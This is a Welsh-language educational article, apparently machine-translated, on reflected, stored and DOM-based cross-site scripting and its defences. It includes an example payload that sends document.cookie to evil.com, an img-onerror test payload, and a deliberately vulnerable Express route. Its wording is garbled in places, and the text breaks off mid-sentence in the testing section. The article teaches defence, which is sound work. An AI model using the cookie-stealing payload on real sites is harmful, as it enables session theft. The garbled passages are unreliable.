Cross-Site Scripting: Pam yr XSS yn Parhau i Gnoi yn 2024
Dadansoddiad ymarferol o XSS adlewyrchedig, storio, a DOM-leoledig, sut mae ymosodwyr yn eu hysbysu, a sut i'w rwystro go iawn.
Mae XSS ar Restr Deg OWASP ers dau ddegawd ac mae'n dal yn un o'r pethau cyntaf y mae pentester yn ei wirio. Mae'r byg yn syml i'w esbonio ac yn ddiflas ei gau'n llawn: mae ymosodwr yn cael eu JavaScript i redeg yng nghorlannodd porwr y dioddefwr dan darddiad eich safle. Unwaith y digwydd hynny, gallant ddarllen cookies, ffugio cais, neu ail-ysgrifennu'r dudalen o flaen yr defnyddiwr.
Y tri math
Reflected XSS yw'r ymosodiad ar ddolen ffishing clasurol. Mae tudalen chwilio yn cymryd ?q= o'r URL ac yn ei argraffu'n syth i'r HTML heb encoding. Anfonwch ddolen i rywun fel https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> a phe bai'n clicio arni tra'n mewn i mewn, mae eu cookie sesiwn yn mynd at yr ymosodwr.
Stored XSS yn waeth oherwydd nad oes angen dolen o gwbl. Maes sylwad, bywgraffiad proffil, disgrifiad tocyn cymorth — unrhyw le y mae mewnbwn defnyddiwr yn cael ei gadw a'i gynrychiolau'n ddiweddarach i ddefnyddwyr eraill. Postiwch y llwyth unwaith ac mae pob ymwelydd sy'n gweld y dudalen honno yn cael ei daro, dim peirianneg gymdeithasol sy'n ofynnol.
DOM-leoledig XSS yn byw'n llwyr mewn cod ochr-cleient. Nid yw'r gweinydd byth yn gweld y llwyth malicious; mae'n JavaScript yn darllen rhywbeth fel location.hash neu document.referrer ac yn ei dorri i innerHTML neu eval(). Mae hon yn tramgwyddo pobl oherwydd mae cofnodi ochr-gweinydd yn edrych yn gwbl lân.
O ble y mae'n dod go iawn
Mae rhan fwyaf o fygiau XSS yn berwi i lawr i un camgymeriad: trin data anhydir fel marcup neu god hydir. Sinks cyffredin i edrych amdanynt mewn JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout gydag argument string, a jQuery .html(). Ar ochr y gweinydd, mae injians template nad ydynt yn awtomatically-dianc yn ddefnyddiol (cynghanedd string crai i HTML) yn y troseddwr arferol.
Enghraifft gyflym byd-go-iawn: app Node/Express yn gwneud
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
yn cael XSS adlewyrchedig ar unwaith. req.query.name yn mynd yn syth i'r ymateb gyda sero encoding. Unrhyw un yn taro /greet?name=<img src=x onerror=alert(document.domain)> yn ei brofi mewn tua dwy eiliad.
Ei drwsio go iawn
Encoding allbwn yn ymwybodol o gyd-destun yw'r ateb go iawn, nid gweithgarwch. Corff HTML, priodoledd HTML, llinyn JavaScript, a chyd-destunau URL pob un angen rheolau encoding gwahanol — tŷ fel Encoder Java OWASP, neu awtomatically-dianc adeiledig mewn injians template fel Jinja2, React JSX, neu Handlebars, yn trin hyn yn gywir. Mae React yn arbennig yn dianc cynnwys testun yn ddefnyddiol, a dyna pam mae dangerouslySetInnerHTML yn cael ei enwi fel hynny: mae'n label rhybudd.
Mae dilysu mewnbwn yn helpu ond nid yn ddigonol ar ei ben ei hun. Denylisting <script> tagiau yn cael ei atal yn gyson — <img src=x onerror=...>, <svg onload=...>, neu ddigwyddwyr ar bron pob tag i gyd yn gweithio. Allowlisting fformatau disgwyliedig (regex e-bost, ID rhifol) yn iawn fel haen ail, ond nid yw'n disodli encoding allbwn iawn.
Content-Security-Policy yw'r haen amddiffyn-mewn-dyfnder gryfaf sydd ar gael. Polisi fel
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
yn blocio sgriptiau mewnrheolaidd a ffynonellau sgript trydydd partïon oni bai eu bod yn benodol nonce'd neu allowlisted, sy'n atal rhan fwyaf o lwythi XSS rhag cyflawni hyd yn oed os ydynt yn llithrau heibio encoding. Osgowch unsafe-inline a unsafe-eval mewn CSPs cynhyrchu; maent yn trechu'r amddiffyn.
Set cookies gyda HttpOnly a Secure flags fel hyd yn oed XSS llwyddiannus na all ddarllen y cookie sesiwn yn uniongyrchol trwy document.cookie. Nid yw'n rhwystro'r chwistrellu ond mae'n cyfyngu ar y radiws chwythu yn sylweddol.
Ei brofi eich hun
Mae sganwr gweithredol Burp Suite yn dal llawer o XSS adlewyrchedig a storio'n awtomatig, ond mae profi llawlofrudd yn dal yn bwysig ar gyfer achosion DOM-leoledig. Offer fel Burp Suite profi DOMPurify ei hun neu dim ond grepping eich sylfaen cod ar gyfer innerHTML = a eval( yn arwynebydd nifer synnu o ganfyddiadau'n gyflym. Ar gyfer prawf llawlofrudd, y llwyth `
Ysgrifennwyd yr erthygl hon gyda chymorth AI, a'i hadolygu a'i chyhoeddi gan Michal Pilch (CISSP), Korra Studio.
Dyma un nodyn o'r gronfa wybodaeth Korra Studio — mae'r platfform yn paru pob pwnc ag 1-i-1 mentora.
Dechrau am ddimarrow_forward